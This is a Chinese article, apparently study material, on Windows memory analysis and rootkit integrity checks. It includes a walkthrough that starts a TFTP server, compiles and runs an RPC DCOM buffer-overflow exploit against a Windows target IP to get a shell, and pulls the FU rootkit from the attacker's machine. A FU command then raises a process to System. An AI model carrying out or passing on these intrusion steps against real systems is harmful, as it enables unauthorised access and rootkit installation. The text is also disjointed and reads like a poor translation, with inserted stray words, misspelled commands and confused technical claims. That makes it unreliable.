微軟認(rèn)證輔導(dǎo):內(nèi)存分析如何執(zhí)行完整性檢查

字號:

自2004以來,Rootkit技術(shù)得到了快速發(fā)展。很多人發(fā)現(xiàn)rootkit既使用IDT(Interrupt Descriptor Table,中斷描述符表)連接又使用DKOM(Direct Kernel Object Manipulation)來隱藏自己,不管怎樣,這些rootkit就是有辦法隱藏于大部分可執(zhí)行程序而不被發(fā)現(xiàn)。或許他們利用的是壓縮工具(packer)和加密工具(encryptor)來掩人耳目,加密工具是指一種解碼算法,當(dāng)壓縮鏡像加載到內(nèi)存時(shí)能夠解壓;或許可執(zhí)行程序載有包含解密工具的多重引擎??傊?,在rootkit載入內(nèi)存前根本無法被察覺,壓縮鏡像中也很難以被檢測出異常。
    我們可以從概念證明方法來試想,模仿DNS并嘗試監(jiān)測rootkit對網(wǎng)絡(luò)服務(wù)器的連接,當(dāng)rootkit在網(wǎng)絡(luò)流量中與網(wǎng)絡(luò)服務(wù)器通信時(shí),試圖記錄系統(tǒng)的行為。但是回到該理論來看,內(nèi)存分析理論是基于這樣的事實(shí):操作系統(tǒng)使用的數(shù)據(jù)位置與用于定位內(nèi)存轉(zhuǎn)儲中的數(shù)據(jù)的位置有所不同。RAM的物理內(nèi)存并不充分,不能包含所有正在運(yùn)行的進(jìn)程。這樣Windows內(nèi)存管理器就需要?jiǎng)?chuàng)建一個(gè)虛擬地址空間以模擬一個(gè)更大的內(nèi)存空間,并且微處理器的硬件單元需要描繪出虛擬地址空間到物理地址的路徑。總之,內(nèi)存分析會涉及到地址解析,但是所有這些工作怎樣能夠形成完整性檢查呢?
    內(nèi)存分析
    模擬一個(gè)更大的內(nèi)存空間通常是這樣實(shí)現(xiàn)的:為每個(gè)進(jìn)程創(chuàng)建一個(gè)虛擬地址空間,考試,大提示通過數(shù)據(jù)結(jié)構(gòu)(主要的數(shù)據(jù)結(jié)構(gòu)是頁目錄和頁表)將虛擬地址空間解譯為物理存儲位置。通過使用數(shù)據(jù)結(jié)構(gòu),內(nèi)存管理器創(chuàng)建出所謂的頁表,而CPU則將虛擬地址解析為物理地址,每個(gè)虛擬地址都與系統(tǒng)空間結(jié)構(gòu)(稱為PTE,page table entry)相關(guān)聯(lián),PTE包含虛擬地址所指代的物理地址。
    能夠?yàn)橄到y(tǒng)進(jìn)程提供物理內(nèi)存的數(shù)量被稱為工作組,因此每個(gè)進(jìn)程都是從空工作組或者零工作組開始的。隨著進(jìn)程開始不斷觸及虛擬地址,工作組也隨之增加。當(dāng)windows對系統(tǒng)內(nèi)存進(jìn)行管理時(shí),工作組需要計(jì)算出其進(jìn)程所需要的物理內(nèi)存大小,他們是通過記錄的進(jìn)程行為來計(jì)算的:內(nèi)存需要和頁訪問率。當(dāng)內(nèi)存管理器認(rèn)為工作組足夠大時(shí),它會先清理出舊的作業(yè),即那些很長時(shí)間沒有被使用的。當(dāng)這些信息被清出后,并沒有被毀滅或者刪除,因?yàn)樗鼈兇磉M(jìn)程所使用過的數(shù)據(jù)記錄。所以windows會將這些頁保存在不同的目錄中,這些目錄包括:
    free page list;
    zero page list;
    modified page list;
    standby list
    當(dāng)windows從工作進(jìn)程組清理出一個(gè)內(nèi)存頁時(shí),被清理的是那些進(jìn)程并沒有表示不再需要使用的空間。應(yīng)該要弄清楚的是,如果一個(gè)頁被修改,就必須被寫入。如果進(jìn)程向頁面寫入數(shù)據(jù),則該頁專屬于這個(gè)進(jìn)程,這意味著它不在屬于共享內(nèi)存。Windows中的任何能夠共享的內(nèi)存都可以共享,包括代碼和DLL,但不包括數(shù)據(jù)。在記事本中寫入的數(shù)據(jù)是專屬于記事本進(jìn)程的,其他進(jìn)程都不能訪問該數(shù)據(jù)。與此同時(shí),要記住的是,進(jìn)程對于系統(tǒng)而言,代表著一個(gè)應(yīng)用程序的實(shí)例。但是由于應(yīng)用程序需要向虛擬地址空間、操作系統(tǒng)、配置設(shè)備驅(qū)動程序描繪其代碼和數(shù)據(jù),以及內(nèi)核模式中使用的數(shù)據(jù)也需要被描繪,這就意味著windows內(nèi)存保護(hù)將用戶模式地址空間從內(nèi)核模式中分離了。如果某用戶模式線程需要調(diào)用系統(tǒng),則需要使用DLL函數(shù)調(diào)用功能以過渡到內(nèi)核模式。那么,如果我們安裝了一個(gè)rootkit,我們將如何執(zhí)行完整性檢查呢?需要考慮這一點(diǎn),文字部分是只讀的,因此代碼不需要修改,應(yīng)該檢查關(guān)鍵系統(tǒng)DLL的代碼部分和系統(tǒng)驅(qū)動程序(內(nèi)核模塊)在內(nèi)存和磁盤中相應(yīng)的PE文件是一樣的,同時(shí)不要忘記重新定位。
    頁文件大小問題
    不是簡單地將RAM大小乘以1.5,計(jì)算出所有專有字節(jié)內(nèi)存總和,然后乘以1.5。大多數(shù)人在檢查系統(tǒng)中的惡意軟件時(shí)都會很自然地進(jìn)行全部內(nèi)存轉(zhuǎn)儲,但是當(dāng)系統(tǒng)崩潰或者破壞時(shí),問題基本上都是發(fā)生在內(nèi)核模式。設(shè)備驅(qū)動程序是讓CPU開放所有硬件I/O端口的途徑,然而,windows設(shè)備驅(qū)動程序從來沒有直接訪問過物理設(shè)備。作為界面或者地址總線類型的HAL功能,能夠?yàn)轵?qū)動程序傳遞需要的信息完成路徑。它與rootkit的共同點(diǎn)在于:都是使用算法的。他們都是用代碼修改自身而不被發(fā)現(xiàn),他們都是啟發(fā)式的,他們都利用這樣的理論:文件可以通過替代數(shù)據(jù)流和指示轉(zhuǎn)換來隱藏在NTFS文件系統(tǒng)中。Rootkit在加載的時(shí)候,會改變自身的名稱創(chuàng)建服務(wù)(這意味著它們與SCM有通信)而不被發(fā)現(xiàn),只有當(dāng)他們以前被發(fā)現(xiàn)過并且被寫入簽名才可能被發(fā)現(xiàn)。話雖如此,我們有理由認(rèn)為有效的rootkit工具會檢查內(nèi)核代碼是否被修改:Ntoskrnl.exe和HAL.dll內(nèi)核組件的.text與磁盤內(nèi)核文件是否相符。請注意,.text指代代碼部分(cs寄存器),這可能是因?yàn)榇a自我修復(fù)功能可以取代一些硬件相關(guān)的功能以符合實(shí)際硬盤情況。
    我們假設(shè)對RPC DCOM緩沖區(qū)漏洞的經(jīng)常性寫入,例如代碼名為oc192-dcom.c,我們將該代碼下載至我們的Linux ISO發(fā)揮系統(tǒng)中,但是首先我們要啟動TFTP服務(wù)器并運(yùn)行,TFTP使用的UDP協(xié)議可以配置為繞過防火墻(例如DNS/53),因此,它是可以來回轉(zhuǎn)移文件的:
    #! /usr/local/sbin/atftpd --daemon --user group root /tftp
    Check and see if the server is up and running:
    #! ps -A | grep atftpd
    Go the /usr/local directory
    Now we will compile the code, oc192-dcom.c into a binary executable called dcomattack:
    #! gcc oc192-dcom.c -o dcomattack
    Run the buffer overflow.
    #! ./dcomattack -d [Windows Target IP] -t0
    You have spawned a shell!
    #! tfp - [Linux Attack IP] PUT FU.exe
    Windows系列中Server 2003及其以上版本都會默認(rèn)安裝TFTP客戶端,在Vista SP1中已經(jīng)啟用為一項(xiàng)功能。我們上傳一個(gè)FU rootkit范例,它包含兩個(gè)文件fu.exe 和msdirectx.sys,這兩個(gè)文件作為一個(gè)文件運(yùn)行,但沒有被捆綁。fu.exe作為IOCTL’s通過msdirectx.sys驅(qū)動程序,這樣,一旦驅(qū)動程序被加載,就不再需要任何特殊特權(quán)。msdirectx.sys是驅(qū)動程序,負(fù)責(zé)所有工作,直到下次重新啟動都不會卸載?,F(xiàn)在,F(xiàn)U可以隱藏任何驅(qū)動程序就像它隱藏于所有進(jìn)程一樣,如果你想向驅(qū)動程序發(fā)送IOCTL’s,就需要設(shè)置一個(gè)handle(分給文件允許程序進(jìn)入的獨(dú)一無二的標(biāo)記)。FU沒有想要隱藏或者刪除這個(gè)符號鏈接,該符號鏈接是用來打開到被隱藏的驅(qū)動程序的準(zhǔn)入記號。Process Explorer工具的菜單欄上有一個(gè)查看標(biāo)簽,在此標(biāo)簽中你可以選擇“選擇欄”,在這里你可以點(diǎn)擊handle標(biāo)簽并選中所有選項(xiàng)按鈕。準(zhǔn)入記號是在進(jìn)程線程需要訪問資源以及打開資源時(shí)被創(chuàng)建的,準(zhǔn)入記號是該線程每次與資源通信的引入值(value)。但是msdirectx.sys驅(qū)動程序在隱藏驅(qū)動程序的時(shí)候可能會刪除符號鏈接,該驅(qū)動程序有很多用途,它可以修改任何進(jìn)程的組,這樣你可以通過輸入如下代碼進(jìn)行進(jìn)程系統(tǒng):
    fu -pss#process_pid System
    其他需要注意的問題
    我們應(yīng)該要監(jiān)控進(jìn)程及其鏡像路徑,我們應(yīng)該尋找陌生的API系統(tǒng)調(diào)用,并檢查是否查詢服務(wù)主機(jī)程序(svchost.exe 或者rundll32.exe)。Process Monitor工具的過濾功能可以讓你對所有最近用戶活動和注冊表項(xiàng)變化進(jìn)行操作,如果你捕獲到惡意隱藏進(jìn)程,可以將其放入反匯編程序中并保存其代碼。因?yàn)椴还艽a鏈接的是IDT表還是使用內(nèi)核模塊直接訪問(DKMA),都是間接連接IRQL的。用戶模式代碼在IRQL PASSIVE_LEVEL運(yùn)行,當(dāng)系統(tǒng)代碼執(zhí)行時(shí),它是在DISPATCH_LEVEL(中斷級別)運(yùn)行,這種情況下,可以用來啟用調(diào)度程序。DISPATCH_LEVEL最低軟件中斷級別,但是如果某線程要避免被取代,會將IRQL提高到DISPATCH_LEVEL,不過會禁用調(diào)用程序。
    然后該線程會被允許在整個(gè)操作中執(zhí)行,再重新啟用調(diào)用程序,這基本上告訴調(diào)度程序找到另一個(gè)線程以在擁有特權(quán)的線程外運(yùn)行。現(xiàn)在如果設(shè)備驅(qū)動程序與調(diào)度程序運(yùn)行,則會分配到分頁池緩沖區(qū),釋放緩沖,然后嘗試連接頁面,它會一直讀取到頁面結(jié)束為止,任何違法操作都將使系統(tǒng)崩潰,屏幕籃屏,毀壞物理內(nèi)存。也可能是由于這個(gè)漏洞:windows設(shè)備驅(qū)動程序在Ring 0加載,這就意味著任何設(shè)備驅(qū)動都可以修改windows 內(nèi)核的I/O。